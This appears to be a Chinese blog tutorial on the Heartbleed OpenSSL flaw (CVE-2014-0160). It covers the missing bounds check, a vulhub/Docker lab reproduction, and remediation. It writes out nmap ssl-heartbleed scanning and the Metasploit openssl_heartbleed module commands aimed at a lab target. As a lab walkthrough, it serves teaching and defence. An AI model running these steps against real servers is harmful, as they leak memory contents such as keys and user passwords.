Heartbleed

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

漏洞描述

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

漏洞原理

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。
当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。
这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。

影响版本

OpenSSL 1.0.1版本

漏洞复现

环境介绍

靶机:centos7 192.168.139.136
攻击机:kali 192.168.139.129
确保两台测试机网络能通

环境搭建

使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下:

  1. 安装docker依赖包

命令:yum install -y yum-utils device-mapper-persistent-data lvm2

  1. 安装docker

命令:yum install docker

  1. 启动docker(页面没有显示)

命令:systemctl start docker

  1. centos7下安装git

命令:yum install -y git

  1. 下载vulhub

git clone +下载地址
命令:git clone https://github.com/vulhub/vulhub.git

  1. 找到CVE-2014-0160,并进入,输入命令docker-compose up -d运行漏洞环境

命令:ls #查看所有漏洞目录

命令:cd openssl #进入该目录
ls

命令:docker-compose up -d #运行漏洞环境

  1. 查看运行情况

命令:docker ps

复现过程

信息收集

使用Nmap进行扫描

命令:nmap -sV -T4 192.168.139.136

使用Nmap漏洞扫描脚本对8443端口进行扫描检测如下:

命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.139.136

使用MSF框架攻击

进入msfconsole

命令:msfconsole

搜索相关漏洞模块

命令:search heartbleed

使用攻击模块1

命令:use auxiliary/scanner/ssl/openssl_heartbleed

查看配置参数

命令:show options

配置参数

对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)
命令:set rhosts 192.168.139.136 #靶机ip
set rport 8443 #设置端口
set verbose true #设置verbose为true是为了 看到泄露的信息

进行攻击

命令:run
这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

修复方案

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
要解决此漏洞,简单粗暴的方法就是升级openSSL软件。
建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

1.将受影响的服务器下线,避免它继续泄露敏感信息。
2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。
3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。
4.服务器上线。
5.撤销旧认证。
6.撤销现有的会话cookies。
7.要求用户修改密码。
Heartbleed 是在 8 年多前被发现并修补的,然而许多服务器仍然存在 Heartbleed 漏洞

OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)相关推荐

  1. OpenSSL心脏滴血漏洞(CVE-2014-0160)

    一.漏洞介绍 2014年,互联网安全协议OpenSSL被爆出存在一种十分严重的漏洞. 在黑客社区,被命名为"心脏滴血" ,黑客通过利用该漏洞,可以获取到%30开头的https网站的 ...

  2. openssl心脏滴血漏洞

    Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB ...

  3. OpenSSL心脏滴血检测

    # coding=utf-8 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspengu ...

  4. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  5. linux 心脏滴血漏洞,心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南))...

    心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南)),哪吒游戏网给大家带来详细的心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏 ...

  6. 心脏滴血漏洞详解及利用--HeartBleed With OpenSSL

    [事件规则] OpenSSL"心脏出血"漏洞是一个非常严重的问题.这个漏洞使攻击者能够从内存中读取多达64 KB的数据.也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证 ...

  7. “心脏滴血漏洞”测评经验分享

    "心脏滴血漏洞"测评经验分享 1 前言 1.1 编写目的 经验分析贴,赚C币买文章: 1.2 读者对象 本文档读者对象为:测评相关工程师.项目管理者.测试工程师.质量管理人员.文档 ...

  8. 心脏滴血漏洞(CVE-2014-0160)分析与防护

    一.漏洞简介 2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBle ...

  9. 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程

    其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...

最新文章

  1. 不用任何第三方,写一个RTMP直播推流器
  2. 第 22 章 DDL - Data Definition Language
  3. B-JUI(Best jQuery UI) 前端框架
  4. Oracle 索引扫描的五种类型
  5. SQL Server HA - 数据库镜像2 (Mirroring)(1418错误解决)
  6. 软件工程概论课堂作业3
  7. git clone 一部分_别再往 Git 仓库中放敏感信息了,不安全!
  8. PAT A 1065. A+B and C (64bit) (20)
  9. 在python中画正态分布/正弦曲线图像/心形线
  10. 【bug解决】You should consider upgrading via the 'pip install --upgrade pip' command.
  11. 详解python主函数
  12. SpringBoot项目运行环境问题【统一答疑】
  13. mac笔记本电脑外接显示器没有声音
  14. MySQL异常 Incorrect string value: '\xE8\xB5\xB5\xE6\xB4\x8B' for column at row的解决方案
  15. iText操作word
  16. 读《卧底经济学(珍藏版)》- 专家是一致对外的
  17. CentOS7.3下Zabbix3.5之微信报警配置
  18. Kutools for Excel 结合 300 多种高级功能和工具
  19. python执行定时任务
  20. 贵州高二会考计算机考试题,贵州省普通高中会考数学试题.docx

热门文章

  1. 配置旁路电容器的注意事项
  2. 超表面液晶空间光调制器
  3. 如何制作引人注目的PPT幻灯片
  4. 电子科技大学计算机与科学学院,钟秀琴 - 电子科技大学 - 计算机科学与工程学院...
  5. zedboard_第一篇blog
  6. 让服务器实时跟你报告 —— 钉钉机器人 企业微信机器人
  7. 【SSM学习】04-Maven高级
  8. Office 365身份认证--深度解析(一)
  9. 菊子曰备份Wordpress网站的博客内容出错的解决办法(原创)
  10. (新手)python利用xlwings和pandas达到excel的分类汇总的效果